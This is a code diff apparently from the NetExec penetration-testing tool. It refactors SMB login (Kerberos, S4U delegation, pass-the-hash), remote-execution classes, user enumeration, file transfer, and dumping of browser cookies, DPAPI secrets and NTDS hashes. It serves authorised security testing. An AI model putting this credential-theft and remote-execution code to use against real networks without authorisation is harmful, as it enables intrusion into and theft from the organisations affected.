-                if username == "":
-                    self.username = self.conn.getCredentials()[0]
-                elif not self.args.delegate:
-                    self.username = username
-
-                used_ccache = " from ccache" if useCache else f":{process_secret(kerb_pass)}"
-                if self.args.delegate:
-                    used_ccache = f" through S4U with {username}"
+            self.password = password
+            self.username = username
+            # This checks to see if we didn't provide the LM Hash
+            if ntlm_hash.find(":") != -1:
+                lmhash, nthash = ntlm_hash.split(":")
+                self.hash = nthash
             else:
-                self.plaintext_login(self.hostname, username, password)
-                return True
+                nthash = ntlm_hash
+                self.hash = ntlm_hash
+            if lmhash:
+                self.lmhash = lmhash
+            if nthash:
+                self.nthash = nthash
+
+            if not all(s == "" for s in [self.nthash, password, aesKey]):
+                kerb_pass = next(s for s in [self.nthash, password, aesKey] if s)
+            else:
+                kerb_pass = ""
+                self.logger.debug(f"Attempting to do Kerberos Login with useCache: {useCache}")
+
+            tgs = None
+            if self.args.delegate:
+                kerb_pass = ""
+                self.username = self.args.delegate
+                serverName = Principal(f"cifs/{self.hostname}", type=constants.PrincipalNameType.NT_SRV_INST.value)
+                tgs = kerberos_login_with_S4U(domain, self.hostname, username, password, nthash, lmhash, aesKey, kdcHost, self.args.delegate, serverName, useCache, no_s4u2proxy=self.args.no_s4u2proxy)
+                self.logger.debug(f"Got TGS for {self.args.delegate} through S4U")
+
+            self.conn.kerberosLogin(self.username, password, domain, lmhash, nthash, aesKey, kdcHost, useCache=useCache, TGS=tgs)
+            self.check_if_admin()
+
+            if username == "":
+                self.username = self.conn.getCredentials()[0]
+            elif not self.args.delegate:
+                self.username = username
+
+            used_ccache = " from ccache" if useCache else f":{process_secret(kerb_pass)}"
+            if self.args.delegate:
+                used_ccache = f" through S4U with {username}"
 
             out = f"{self.domain}\\{self.username}{used_ccache} {self.mark_pwned()}"
             self.logger.success(out)
 
-            if not self.args.local_auth and not self.args.delegate:
+            if not self.args.local_auth and self.username != "" and not self.args.delegate:
                 add_user_bh(self.username, domain, self.logger, self.config)
             if self.admin_privs:
                 add_user_bh(f"{self.hostname}$", domain, self.logger, self.config)
@@ -456,17 +369,11 @@ class smb(connection):
         # Re-connect since we logged off
         self.create_conn_obj()
         try:
-            if not self.args.laps:
-                self.password = password
-                self.username = username
+            self.password = password
+            self.username = username
             self.domain = domain
 
-            try:
-                self.conn.login(self.username, self.password, domain)
-            except UnicodeEncodeError:
-                self.logger.error(f"UnicodeEncodeError on: '{self.username}:{self.password}'. Trying again with a different encoding...")
-                self.create_conn_obj()
-                self.conn.login(self.username, self.password.encode().decode("latin-1"), domain)
+            self.conn.login(self.username, self.password, domain)
 
             self.check_if_admin()
             self.logger.debug(f"Adding credential: {domain}/{self.username}:{self.password}")
@@ -479,7 +386,7 @@ class smb(connection):
             out = f"{domain}\\{self.username}:{process_secret(self.password)} {self.mark_pwned()}"
             self.logger.success(out)
 
-            if not self.args.local_auth:
+            if not self.args.local_auth and self.username != "":
                 add_user_bh(self.username, self.domain, self.logger, self.config)
             if self.admin_privs:
                 self.logger.debug(f"Adding admin user: {self.domain}/{self.username}:{self.password}@{self.host}")
@@ -521,23 +428,19 @@ class smb(connection):
         lmhash = ""
         nthash = ""
         try:
-            if not self.args.laps:
-                self.username = username
-                # This checks to see if we didn't provide the LM Hash
-                if ntlm_hash.find(":") != -1:
-                    lmhash, nthash = ntlm_hash.split(":")
-                    self.hash = nthash
-                else:
-                    nthash = ntlm_hash
-                    self.hash = ntlm_hash
-                if lmhash:
-                    self.lmhash = lmhash
-                if nthash:
-                    self.nthash = nthash
-            else:
-                nthash = self.hash
-
             self.domain = domain
+            self.username = username
+            # This checks to see if we didn't provide the LM Hash
+            if ntlm_hash.find(":") != -1:
+                lmhash, nthash = ntlm_hash.split(":")
+                self.hash = nthash
+            else:
+                nthash = ntlm_hash
+                self.hash = ntlm_hash
+            if lmhash:
+                self.lmhash = lmhash
+            if nthash:
+                self.nthash = nthash
 
             self.conn.login(self.username, "", domain, lmhash, nthash)
 
@@ -550,7 +453,7 @@ class smb(connection):
             out = f"{domain}\\{self.username}:{process_secret(self.hash)} {self.mark_pwned()}"
             self.logger.success(out)
 
-            if not self.args.local_auth:
+            if not self.args.local_auth and self.username != "":
                 add_user_bh(self.username, self.domain, self.logger, self.config)
             if self.admin_privs:
                 self.db.add_admin_user("hash", domain, self.username, nthash, self.host, user_id=user_id)
@@ -579,11 +482,11 @@ class smb(connection):
             self.logger.fail("Broken Pipe Error while attempting to login")
             return False
 
-    def create_smbv1_conn(self, kdc=""):
+    def create_smbv1_conn(self):
         try:
             self.conn = SMBConnection(
-                kdc if kdc else self.host,
-                kdc if kdc else self.host,
+                self.remoteName,
+                self.host,
                 None,
                 self.port,
                 preferredDialect=SMB_DIALECT,
@@ -592,19 +495,19 @@ class smb(connection):
             self.smbv1 = True
         except OSError as e:
             if str(e).find("Connection reset by peer") != -1:
-                self.logger.info(f"SMBv1 might be disabled on {kdc if kdc else self.host}")
+                self.logger.info(f"SMBv1 might be disabled on {self.host}")
             return False
         except (Exception, NetBIOSTimeout) as e:
-            self.logger.info(f"Error creating SMBv1 connection to {kdc if kdc else self.host}: {e}")
+            self.logger.info(f"Error creating SMBv1 connection to {self.host}: {e}")
             return False
 
         return True
 
-    def create_smbv3_conn(self, kdc=""):
+    def create_smbv3_conn(self):
         try:
             self.conn = SMBConnection(
-                kdc if kdc else self.host,
-                kdc if kdc else self.host,
+                self.remoteName,
+                self.host,
                 None,
                 self.port,
                 timeout=self.args.smb_timeout,
@@ -616,15 +519,15 @@ class smb(connection):
                 if not self.logger:
                     print("DEBUG ERROR: logger not set, please open an issue on github: " + str(self) + str(self.logger))
                     self.proto_logger()
-                self.logger.fail(f"SMBv3 connection error on {kdc if kdc else self.host}: {e}")
+                self.logger.fail(f"SMBv3 connection error on {self.host}: {e}")
             return False
         except (Exception, NetBIOSTimeout) as e:
-            self.logger.info(f"Error creating SMBv3 connection to {kdc if kdc else self.host}: {e}")
+            self.logger.info(f"Error creating SMBv3 connection to {self.host}: {e}")
             return False
         return True
 
-    def create_conn_obj(self, kdc_host=None):
-        return bool(self.create_smbv1_conn(kdc_host) or self.create_smbv3_conn(kdc_host))
+    def create_conn_obj(self):
+        return bool(self.create_smbv1_conn() or self.create_smbv3_conn())
 
     def check_if_admin(self):
         rpctransport = SMBTransport(self.conn.getRemoteHost(), 445, r"\svcctl", smb_connection=self.conn)
@@ -668,7 +571,7 @@ class smb(connection):
             if method == "wmiexec":
                 try:
                     exec_method = WMIEXEC(
-                        self.host if not self.kerberos else self.hostname + "." + self.domain,
+                        self.remoteName,
                         self.smb_share_name,
                         self.username,
                         self.password,
@@ -677,6 +580,7 @@ class smb(connection):
                         self.kerberos,
                         self.aesKey,
                         self.kdcHost,
+                        self.host,
                         self.hash,
                         self.args.share,
                         logger=self.logger,
@@ -691,18 +595,25 @@ class smb(connection):
                     continue
             elif method == "mmcexec":
                 try:
+                    # https://github.com/fortra/impacket/issues/1611
+                    if self.kerberos:
+                        raise Exception("MMCExec current is buggly with kerberos")
                     exec_method = MMCEXEC(
-                        self.host if not self.kerberos else self.hostname + "." + self.domain,
+                        self.remoteName,
                         self.smb_share_name,
                         self.username,
                         self.password,
                         self.domain,
                         self.conn,
-                        self.args.share,
+                        self.kerberos,
+                        self.aesKey,
+                        self.kdcHost,
+                        self.host,
                         self.hash,
-                        self.logger,
-                        self.args.get_output_tries,
-                        self.args.dcom_timeout
+                        self.args.share,
+                        logger=self.logger,
+                        timeout=self.args.dcom_timeout,
+                        tries=self.args.get_output_tries
                     )
                     self.logger.info("Executed command via mmcexec")
                     break
@@ -720,6 +631,7 @@ class smb(connection):
                         self.domain,
                         self.kerberos,
                         self.aesKey,
+                        self.host,
                         self.kdcHost,
                         self.hash,
                         self.logger,
@@ -738,12 +650,12 @@ class smb(connection):
                         self.host if not self.kerberos else self.hostname + "." + self.domain,
                         self.smb_share_name,
                         self.conn,
-                        self.port,
                         self.username,
                         self.password,
                         self.domain,
                         self.kerberos,
                         self.aesKey,
+                        self.host,
                         self.kdcHost,
                         self.hash,
                         self.args.share,
@@ -847,17 +759,23 @@ class smb(connection):
                 share_info["access"].append("READ")
             except SessionError as e:
                 error = get_error_string(e)
-                self.logger.debug(f"Error checking READ access on share: {error}")
+                self.logger.debug(f"Error checking READ access on share {share_name}: {error}")
 
             if not self.args.no_write_check:
                 try:
                     self.conn.createDirectory(share_name, temp_dir)
-                    self.conn.deleteDirectory(share_name, temp_dir)
                     write = True
                     share_info["access"].append("WRITE")
                 except SessionError as e:
                     error = get_error_string(e)
-                    self.logger.debug(f"Error checking WRITE access on share: {error}")
+                    self.logger.debug(f"Error checking WRITE access on share {share_name}: {error}")
+
+                if write:
+                    try:
+                        self.conn.deleteDirectory(share_name, temp_dir)
+                    except SessionError as e:
+                        error = get_error_string(e)
+                        self.logger.debug(f"Error DELETING created temp dir {temp_dir} on share {share_name}: {error}")
 
             permissions.append(share_info)
 
@@ -1105,10 +1023,11 @@ class smb(connection):
         return groups
 
     def users(self):
-        self.logger.display("Trying to dump local users with SAMRPC protocol")
-        return UserSamrDump(self).dump()
+        if len(self.args.users) > 0:
+            self.logger.debug(f"Dumping users: {', '.join(self.args.users)}")
+        return UserSamrDump(self).dump(self.args.users)
 
-    def hosts(self):
+    def computers(self):
         hosts = []
         for dc_ip in self.get_dc_ips():
             try:
@@ -1130,7 +1049,7 @@ class smb(connection):
                     self.logger.highlight(f"{domain}\\{host_clean:<30}")
                 break
             except Exception as e:
-                self.logger.fail(f"Error enumerating domain hosts using dc ip {dc_ip}: {e}")
+                self.logger.fail(f"Error enumerating domain computers using dc ip {dc_ip}: {e}")
                 break
         return hosts
 
@@ -1145,17 +1064,17 @@ class smb(connection):
                 lmhash=self.lmhash,
                 nthash=self.nthash,
             )
+            logged_on = {(f"{user.wkui1_logon_domain}\\{user.wkui1_username}", user.wkui1_logon_server) for user in logged_on}
             self.logger.success("Enumerated logged_on users")
             if self.args.loggedon_users_filter:
                 for user in logged_on:
-                    if re.match(self.args.loggedon_users_filter, user.wkui1_username):
-                        self.logger.highlight(f"{user.wkui1_logon_domain}\\{user.wkui1_username:<25} {f'logon_server: {user.wkui1_logon_server}' if user.wkui1_logon_server else ''}")
+                    if re.match(self.args.loggedon_users_filter, user[0].split("\\")[1]):
+                        self.logger.highlight(f"{user[0]:<25} {f'logon_server: {user[1]}'}")
             else:
                 for user in logged_on:
-                    self.logger.highlight(f"{user.wkui1_logon_domain}\\{user.wkui1_username:<25} {f'logon_server: {user.wkui1_logon_server}' if user.wkui1_logon_server else ''}")
+                    self.logger.highlight(f"{user[0]:<25} {f'logon_server: {user[1]}'}")
         except Exception as e:
             self.logger.fail(f"Error enumerating logged on users: {e}")
-        return logged_on
 
     def pass_pol(self):
         return PassPolDump(self).dump()
@@ -1170,9 +1089,9 @@ class smb(connection):
             namespace = self.args.wmi_namespace
 
         try:
-            dcom = DCOMConnection(self.host if not self.kerberos else self.hostname + "." + self.domain, self.username, self.password, self.domain, self.lmhash, self.nthash, oxidResolver=True, doKerberos=self.kerberos, kdcHost=self.kdcHost, aesKey=self.aesKey)
+            dcom = DCOMConnection(self.remoteName, self.username, self.password, self.domain, self.lmhash, self.nthash, oxidResolver=True, doKerberos=self.kerberos, kdcHost=self.kdcHost, aesKey=self.aesKey, remoteHost=self.host)
             iInterface = dcom.CoCreateInstanceEx(CLSID_WbemLevel1Login, IID_IWbemLevel1Login)
-            flag, stringBinding = dcom_FirewallChecker(iInterface, self.args.dcom_timeout)
+            flag, stringBinding = dcom_FirewallChecker(iInterface, self.host, self.args.dcom_timeout)
             if not flag or not stringBinding:
                 error_msg = f"WMI Query: Dcom initialization failed on connection with stringbinding: '{stringBinding}', please increase the timeout with the option '--dcom-timeout'. If it's still failing maybe something is blocking the RPC connection, try another exec method"
 
@@ -1252,20 +1171,16 @@ class smb(connection):
             max_rid = int(self.args.rid_brute)
 
         KNOWN_PROTOCOLS = {
-            135: {"bindstr": r"ncacn_ip_tcp:%s", "set_host": False},
-            139: {"bindstr": r"ncacn_np:{}[\pipe\lsarpc]", "set_host": True},
-            445: {"bindstr": r"ncacn_np:{}[\pipe\lsarpc]", "set_host": True},
+            135: {"bindstr": rf"ncacn_ip_tcp:{self.host}"},
+            139: {"bindstr": rf"ncacn_np:{self.host}[\pipe\lsarpc]"},
+            445: {"bindstr": rf"ncacn_np:{self.host}[\pipe\lsarpc]"},
         }
 
         try:
-            full_hostname = self.host if not self.kerberos else self.hostname + "." + self.domain
             string_binding = KNOWN_PROTOCOLS[self.port]["bindstr"]
             logging.debug(f"StringBinding {string_binding}")
             rpc_transport = transport.DCERPCTransportFactory(string_binding)
-            rpc_transport.set_dport(self.port)
-
-            if KNOWN_PROTOCOLS[self.port]["set_host"]:
-                rpc_transport.setRemoteHost(full_hostname)
+            rpc_transport.setRemoteHost(self.host)
 
             if hasattr(rpc_transport, "set_credentials"):
                 # This method exists only for selected protocol sequences.
@@ -1343,19 +1258,21 @@ class smb(connection):
         dce.disconnect()
         return entries
 
-    def put_file(self):
-        self.logger.display(f"Copying {self.args.put_file[0]} to {self.args.put_file[1]}")
-        with open(self.args.put_file[0], "rb") as file:
+    def put_file_single(self, src, dst):
+        self.logger.display(f"Copying {src} to {dst}")
+        with open(src, "rb") as file:
             try:
-                self.conn.putFile(self.args.share, self.args.put_file[1], file.read)
-                self.logger.success(f"Created file {self.args.put_file[0]} on \\\\{self.args.share}\\{self.args.put_file[1]}")
+                self.conn.putFile(self.args.share, dst, file.read)
+                self.logger.success(f"Created file {src} on \\\\{self.args.share}\\{dst}")
             except Exception as e:
                 self.logger.fail(f"Error writing file to share {self.args.share}: {e}")
+    
+    def put_file(self):
+        for src, dest in self.args.put_file:
+            self.put_file_single(src, dest)
 
-    def get_file(self):
+    def get_file_single(self, remote_path, download_path):
         share_name = self.args.share
-        remote_path = self.args.get_file[0]
-        download_path = self.args.get_file[1]
         self.logger.display(f'Copying "{remote_path}" to "{download_path}"')
         if self.args.append_host:
             download_path = f"{self.hostname}-{remote_path}"
@@ -1368,13 +1285,16 @@ class smb(connection):
                 if os.path.getsize(download_path) == 0:
                     os.remove(download_path)
 
+    def get_file(self):
+        for src, dest in self.args.get_file:
+            self.get_file_single(src, dest)
+
     def enable_remoteops(self):
-        if self.remote_ops is not None and self.bootkey is not None:
-            return
         try:
             self.remote_ops = RemoteOperations(self.conn, self.kerberos, self.kdcHost)
             self.remote_ops.enableRegistry()
-            self.bootkey = self.remote_ops.getBootKey()
+            if self.bootkey is None:
+                self.bootkey = self.remote_ops.getBootKey()
         except Exception as e:
             self.logger.fail(f"RemoteOperations failed: {e}")
 
@@ -1587,12 +1507,14 @@ class smb(connection):
                 credential.url,
             )
 
-        if dump_cookies:
+        if dump_cookies and cookies:
             self.logger.display("Start Dumping Cookies")
             for cookie in cookies:
                 if cookie.cookie_value != "":
                     self.logger.highlight(f"[{credential.winuser}][{cookie.browser.upper()}] {cookie.host}{cookie.path} - {cookie.cookie_name}:{cookie.cookie_value}")
             self.logger.display("End Dumping Cookies")
+        elif dump_cookies:
+            self.logger.fail("No cookies found")
 
         vaults = []
         try:
@@ -1633,6 +1555,9 @@ class smb(connection):
                 credential.url,
             )
 
+        if not (credentials and system_credentials and browser_credentials and cookies and vaults and firefox_credentials):
+            self.logger.fail("No secrets found")
+
     @requires_admin
     def lsa(self):
         try:
@@ -1690,10 +1615,10 @@ class smb(connection):
             add_ntds_hash.ntds_hashes += 1
             if self.args.enabled:
                 if "Enabled" in ntds_hash:
-                    ntds_hash = ntds_hash.split(" ")[0]
+                    ntds_hash = " ".join(ntds_hash.split(" ")[:-1])
                     self.logger.highlight(ntds_hash)
             else:
-                ntds_hash = ntds_hash.split(" ")[0]
+                ntds_hash = " ".join(ntds_hash.split(" ")[:-1])
                 self.logger.highlight(ntds_hash)
             if ntds_hash.find("$") == -1:
                 if ntds_hash.find("\\") != -1:

nxc/protocols/smb/atexec.py

@@ -7,7 +7,7 @@ from time import sleep
 
 
 class TSCH_EXEC:
-    def __init__(self, target, share_name, username, password, domain, doKerberos=False, aesKey=None, kdcHost=None, hashes=None, logger=None, tries=None, share=None):
+    def __init__(self, target, share_name, username, password, domain, doKerberos=False, aesKey=None, remoteHost=None, kdcHost=None, hashes=None, logger=None, tries=None, share=None):
         self.__target = target
         self.__username = username
         self.__password = password
@@ -19,6 +19,7 @@ class TSCH_EXEC:
         self.__retOutput = False
         self.__aesKey = aesKey
         self.__doKerberos = doKerberos
+        self.__remoteHost = remoteHost
         self.__kdcHost = kdcHost
         self.__tries = tries
         self.__output_filename = None
@@ -37,6 +38,7 @@ class TSCH_EXEC:
 
         stringbinding = r"ncacn_np:%s[\pipe\atsvc]" % self.__target
         self.__rpctransport = transport.DCERPCTransportFactory(stringbinding)
+        self.__rpctransport.setRemoteHost(self.__remoteHost)
 
         if hasattr(self.__rpctransport, "set_credentials"):
             # This method exists only for selected protocol sequences.

nxc/protocols/smb/database.py

@@ -193,7 +193,7 @@ class database:
                 print(
                     f"""
                     [-] Error reflecting tables for the {self.protocol} protocol - this means there is a DB schema mismatch
-                    [-] This is probably because a newer version of nxc is being ran on an old DB schema
+                    [-] This is probably because a newer version of nxc is being run on an old DB schema
                     [-] Optionally save the old DB data (`cp {self.db_path} ~/nxc_{self.protocol.lower()}.bak`)
                     [-] Then remove the {self.protocol} DB (`rm -f {self.db_path}`) and run nxc to initialize the new DB"""
                 )

nxc/protocols/smb/firefox.py

@@ -4,6 +4,7 @@ from hashlib import pbkdf2_hmac, sha1
 import hmac
 import json
 import ntpath
+from os import remove
 import sqlite3
 import tempfile
 from Cryptodome.Cipher import AES, DES3
@@ -121,7 +122,10 @@ class FirefoxTriage:
         ]
 
     def get_key(self, key4_data, master_password=b""):
-        fh = tempfile.NamedTemporaryFile()
+        # Instead of disabling "delete" and removing the file manually,
+        # in the future (py3.12) we could use "delete_on_close=False" as a cleaner solution
+        # Related issue: #134
+        fh = tempfile.NamedTemporaryFile(delete=False)
         fh.write(key4_data)
         fh.seek(0)
         db = sqlite3.connect(fh.name)
@@ -149,7 +153,12 @@ class FirefoxTriage:
                     self.logger.debug(e)
                     fh.close()
                     return b""
+        db.close()
         fh.close()
+        try:
+            remove(fh.name)
+        except Exception as e:
+            self.logger.error(f"Error removing temporary file: {e}")
 
     def is_master_password_correct(self, key_data, master_password=b""):
         try:

nxc/protocols/smb/mmcexec.py

@@ -58,26 +58,28 @@ from impacket.dcerpc.v5.dtypes import NULL
 
 
 class MMCEXEC:
-    def __init__(self, host, share_name, username, password, domain, smbconnection, share, hashes=None, logger=None, tries=None, timeout=None):
-        self.__host = host
+    def __init__(self, target, share_name, username, password, domain, smbconnection, doKerberos=False, aesKey=None, kdcHost=None, remoteHost=None, hashes=None, share=None, logger=None, timeout=None, tries=None):
+        self.__target = target
         self.__username = username
         self.__password = password
-        self.__smbconnection = smbconnection
         self.__domain = domain
         self.__lmhash = ""
         self.__nthash = ""
-        self.__share_name = share_name
+        self.__share = share
+        self.__timeout = timeout
+        self.__smbconnection = smbconnection
         self.__output = None
         self.__outputBuffer = b""
+        self.__share_name = share_name
         self.__shell = "c:\\windows\\system32\\cmd.exe"
         self.__pwd = "C:\\"
-        self.__quit = None
-        self.__executeShellCommand = None
+        self.__aesKey = aesKey
+        self.__kdcHost = kdcHost
+        self.__remoteHost = remoteHost
+        self.__doKerberos = doKerberos
         self.__retOutput = True
-        self.__share = share
-        self.__dcom = None
+        self.__stringBinding = ""
         self.__tries = tries
-        self.__timeout = timeout
         self.logger = logger
 
         if hashes is not None:
@@ -87,21 +89,24 @@ class MMCEXEC:
                 self.__nthash = hashes
 
         self.__dcom = DCOMConnection(
-            self.__host,
+            self.__target,
             self.__username,
             self.__password,
             self.__domain,
             self.__lmhash,
             self.__nthash,
-            None,
+            self.__aesKey,
             oxidResolver=True,
+            doKerberos=self.__doKerberos,
+            kdcHost=self.__kdcHost,
+            remoteHost=self.__remoteHost,
         )
         try:
             iInterface = self.__dcom.CoCreateInstanceEx(string_to_bin("49B2791A-B1AE-4C90-9B8E-E860BA07F889"), IID_IDispatch)
         except Exception:
             # Make it force break function
             self.__dcom.disconnect()
-        flag, self.__stringBinding = dcom_FirewallChecker(iInterface, self.__timeout)
+        flag, self.__stringBinding = dcom_FirewallChecker(iInterface, self.__remoteHost, self.__timeout)
         if not flag or not self.__stringBinding:
             error_msg = f'MMCEXEC: Dcom initialization failed on connection with stringbinding: "{self.__stringBinding}", please increase the timeout with the option "--dcom-timeout". If it\'s still failing maybe something is blocking the RPC connection, try another exec method'
 

nxc/protocols/smb/passpol.py

@@ -80,6 +80,8 @@ class PassPolDump:
         self.nthash = ""
         self.aesKey = connection.aesKey
         self.doKerberos = connection.kerberos
+        self.host = connection.host
+        self.kdcHost = connection.kdcHost
         self.protocols = PassPolDump.KNOWN_PROTOCOLS.keys()
         self.pass_pol = {}
 
@@ -112,6 +114,8 @@ class PassPolDump:
                 self.nthash,
                 self.aesKey,
                 doKerberos=self.doKerberos,
+                kdcHost=self.kdcHost,
+                remote_host=self.host,
             )
             try:
                 self.fetchList(rpctransport)

nxc/protocols/smb/proto_args.py

@@ -38,7 +38,7 @@ def proto_args(parser, std_parser, module_parser):
     egroup.add_argument("--disks", action="store_true", help="enumerate disks")
     egroup.add_argument("--loggedon-users-filter", action="store", help="only search for specific user, works with regex")
     egroup.add_argument("--loggedon-users", action="store_true", help="enumerate logged on users")
-    egroup.add_argument("--users", nargs="?", const="", metavar="USER", help="enumerate domain users, if a user is specified than only its information is queried.")
+    egroup.add_argument("--users", nargs="*", metavar="USER", help="enumerate domain users, if a user is specified than only its information is queried.")
     egroup.add_argument("--groups", nargs="?", const="", metavar="GROUP", help="enumerate domain groups, if a group is specified than its members are enumerated")
     egroup.add_argument("--computers", nargs="?", const="", metavar="COMPUTER", help="enumerate computer users")
     egroup.add_argument("--local-groups", nargs="?", const="", metavar="GROUP", help="enumerate local groups, if a group is specified then its members are enumerated")
@@ -59,8 +59,8 @@ def proto_args(parser, std_parser, module_parser):
     sgroup.add_argument("--only-files", action="store_true", help="only spider files")
 
     tgroup = smb_parser.add_argument_group("Files", "Options for put and get remote files")
-    tgroup.add_argument("--put-file", nargs=2, metavar="FILE", help="Put a local file into remote target, ex: whoami.txt \\\\Windows\\\\Temp\\\\whoami.txt")
-    tgroup.add_argument("--get-file", nargs=2, metavar="FILE", help="Get a remote file, ex: \\\\Windows\\\\Temp\\\\whoami.txt whoami.txt")
+    tgroup.add_argument("--put-file", action="append", nargs=2, metavar="FILE", help="Put a local file into remote target, ex: whoami.txt \\\\Windows\\\\Temp\\\\whoami.txt")
+    tgroup.add_argument("--get-file", action="append", nargs=2, metavar="FILE", help="Get a remote file, ex: \\\\Windows\\\\Temp\\\\whoami.txt whoami.txt")
     tgroup.add_argument("--append-host", action="store_true", help="append the host to the get-file filename")
 
     cgroup = smb_parser.add_argument_group("Command Execution", "Options for executing commands")

nxc/protocols/smb/samrfunc.py

@@ -15,7 +15,7 @@ from nxc.logger import nxc_logger
 class SamrFunc:
     def __init__(self, connection):
         self.logger = connection.logger
-        self.addr = connection.host if not connection.kerberos else connection.hostname + "." + connection.domain
+        self.addr = connection.host
         self.protocol = connection.args.port
         self.username = connection.username
         self.password = connection.password
@@ -25,6 +25,7 @@ class SamrFunc:
         self.nthash = ""
         self.aesKey = connection.aesKey
         self.doKerberos = connection.kerberos
+        self.kdcHost = connection.kdcHost
 
         if self.hash is not None:
             if self.hash.find(":") != -1:
@@ -35,16 +36,8 @@ class SamrFunc:
         if self.password is None:
             self.password = ""
 
-        self.samr_query = SAMRQuery(
-            username=self.username,
-            password=self.password,
-            domain=self.domain,
-            remote_name=self.addr,
-            remote_host=self.addr,
-            kerberos=self.doKerberos,
-            aesKey=self.aesKey,
-        )
-        self.lsa_query = LSAQuery(username=self.username, password=self.password, domain=self.domain, remote_name=self.addr, remote_host=self.addr, kerberos=self.doKerberos, aesKey=self.aesKey, logger=self.logger)
+        self.samr_query = SAMRQuery(username=self.username, password=self.password, domain=self.domain, remote_name=self.addr, remote_host=self.host, kerberos=self.doKerberos, kdcHost=self.kdcHost, aesKey=self.aesKey)
+        self.lsa_query = LSAQuery(username=self.username, password=self.password, domain=self.domain, remote_name=self.addr, remote_host=self.host, kdcHost=self.kdcHost, kerberos=self.doKerberos, aesKey=self.aesKey, logger=self.logger)
 
     def get_builtin_groups(self):
         domains = self.samr_query.get_domains()
@@ -56,7 +49,6 @@ class SamrFunc:
         domain_handle = self.samr_query.get_domain_handle("Builtin")
         return self.samr_query.get_domain_aliases(domain_handle)
 
-
     def get_custom_groups(self):
         domains = self.samr_query.get_domains()
         custom_groups = {}
@@ -99,6 +91,7 @@ class SAMRQuery:
         remote_name="",
         remote_host="",
         kerberos=None,
+        kdcHost="",
         aesKey="",
     ):
         self.__username = username
@@ -111,15 +104,16 @@ class SAMRQuery:
         self.__remote_name = remote_name
         self.__remote_host = remote_host
         self.__kerberos = kerberos
+        self.__kdcHost = kdcHost
         self.dce = self.get_dce()
         self.server_handle = self.get_server_handle()
 
     def get_transport(self):
-        string_binding = f"ncacn_np:{self.__port}[\pipe\samr]"
+        string_binding = rf"ncacn_np:{self.__port}[\pipe\samr]"
         nxc_logger.debug(f"Binding to {string_binding}")
         # using a direct SMBTransport instead of DCERPCTransportFactory since we need the filename to be '\samr'
         return transport.SMBTransport(
-            self.__remote_host,
+            self.__remote_name,
             self.__port,
             r"\samr",
             self.__username,
@@ -129,10 +123,12 @@ class SAMRQuery:
             self.__nthash,
             self.__aesKey,
             doKerberos=self.__kerberos,
+            kdcHost=self.__kdcHost,
         )
 
     def get_dce(self):
         rpc_transport = self.get_transport()
+        rpc_transport.setRemoteHost(self.__remote_host)
         try:
             dce = rpc_transport.get_dce_rpc()
             dce.connect()
@@ -168,7 +164,7 @@ class SAMRQuery:
 
     def get_domain_aliases(self, domain_handle):
         """Use a dictionary comprehension to generate the aliases dictionary.
-        
+
         Calls the hSamrEnumerateAliasesInDomain() method directly in the dictionary comprehension and extracts the "Name" and "RelativeId" values from each element in the "Buffer" list
         """
         return {alias["Name"]: alias["RelativeId"] for alias in samr.hSamrEnumerateAliasesInDomain(self.dce, domain_handle)["Buffer"]["Buffer"]}
@@ -184,7 +180,7 @@ class SAMRQuery:
 
 
 class LSAQuery:
-    def __init__(self, username="", password="", domain="", port=445, remote_name="", remote_host="", aesKey="", kerberos=None, logger=None):
+    def __init__(self, username="", password="", domain="", port=445, remote_name="", remote_host="", kdcHost="", aesKey="", kerberos=None, logger=None):
         self.__username = username
         self.__password = password
         self.__domain = domain
@@ -194,6 +190,7 @@ class LSAQuery:
         self.__port = port
         self.__remote_name = remote_name
         self.__remote_host = remote_host
+        self.__kdcHost = kdcHost
         self.__kerberos = kerberos
         self.dce = self.get_dce()
         self.policy_handle = self.get_policy_handle()
@@ -205,7 +202,7 @@ class LSAQuery:
         rpc_transport.set_dport(self.__port)
         rpc_transport.setRemoteHost(self.__remote_host)
         if self.__kerberos:
-            rpc_transport.set_kerberos(True, None)
+            rpc_transport.set_kerberos(self.__kerberos, self.__kdcHost)
         if hasattr(rpc_transport, "set_credentials"):
             # This method exists only for selected protocol sequences.
             rpc_transport.set_credentials(
@@ -237,7 +234,7 @@ class LSAQuery:
 
     def lookup_sids(self, sids):
         """Use a list comprehension to generate the names list.
-        
+
         It calls the hLsarLookupSids() method directly in the list comprehension and extracts the "Name" value from each element in the "Names" list.
         """
         return [translated_names["Name"] for translated_names in lsat.hLsarLookupSids(self.dce, self.policy_handle, sids, lsat.LSAP_LOOKUP_LEVEL.LsapLookupWksta)["TranslatedNames"]["Names"]]

nxc/protocols/smb/samruser.py

@@ -4,6 +4,7 @@ from impacket.dcerpc.v5 import transport, samr
 from impacket.dcerpc.v5.rpcrt import DCERPCException
 from impacket.dcerpc.v5.rpcrt import DCERPC_v5
 from impacket.nt_errors import STATUS_MORE_ENTRIES
+from datetime import datetime, timedelta
 
 
 class UserSamrDump:
@@ -24,8 +25,12 @@ class UserSamrDump:
         self.nthash = ""
         self.aesKey = connection.aesKey
         self.doKerberos = connection.kerberos
+        self.host = connection.host
+        self.kdcHost = connection.kdcHost
         self.protocols = UserSamrDump.KNOWN_PROTOCOLS.keys()
         self.users = []
+        self.rpc_transport = None
+        self.dce = None
 
         if self.hash is not None:
             if self.hash.find(":") != -1:
@@ -36,46 +41,36 @@ class UserSamrDump:
         if self.password is None:
             self.password = ""
 
-    def dump(self):
+    def dump(self, requested_users=None):
         # Try all requested protocols until one works.
         for protocol in self.protocols:
             try:
                 protodef = UserSamrDump.KNOWN_PROTOCOLS[protocol]
                 port = protodef[1]
             except KeyError:
-                self.logger.debug(f"Invalid Protocol '{protocol}'")
+                self.logger.debug(f"Invalid Protocol: {protocol}")
+
             self.logger.debug(f"Trying protocol {protocol}")
-            rpctransport = transport.SMBTransport(
-                self.addr,
-                port,
-                r"\samr",
-                self.username,
-                self.password,
-                self.domain,
-                self.lmhash,
-                self.nthash,
-                self.aesKey,
-                doKerberos=self.doKerberos,
-            )
+            self.rpc_transport = transport.SMBTransport(self.addr, port, r"\samr", self.username, self.password, self.domain, self.lmhash, self.nthash, self.aesKey, doKerberos=self.doKerberos, kdcHost=self.kdcHost, remote_host=self.host)
             try:
-                self.fetchList(rpctransport)
+                self.fetch_users(requested_users)
                 break
             except Exception as e:
-                self.logger.debug(f"Protocol failed: {e}")
+                self.logger.debug(f"Connection with protocol {protocol} failed: {e}")
         return self.users
 
-    def fetchList(self, rpctransport):
-        dce = DCERPC_v5(rpctransport)
-        dce.connect()
-        dce.bind(samr.MSRPC_UUID_SAMR)
+    def fetch_users(self, requested_users):
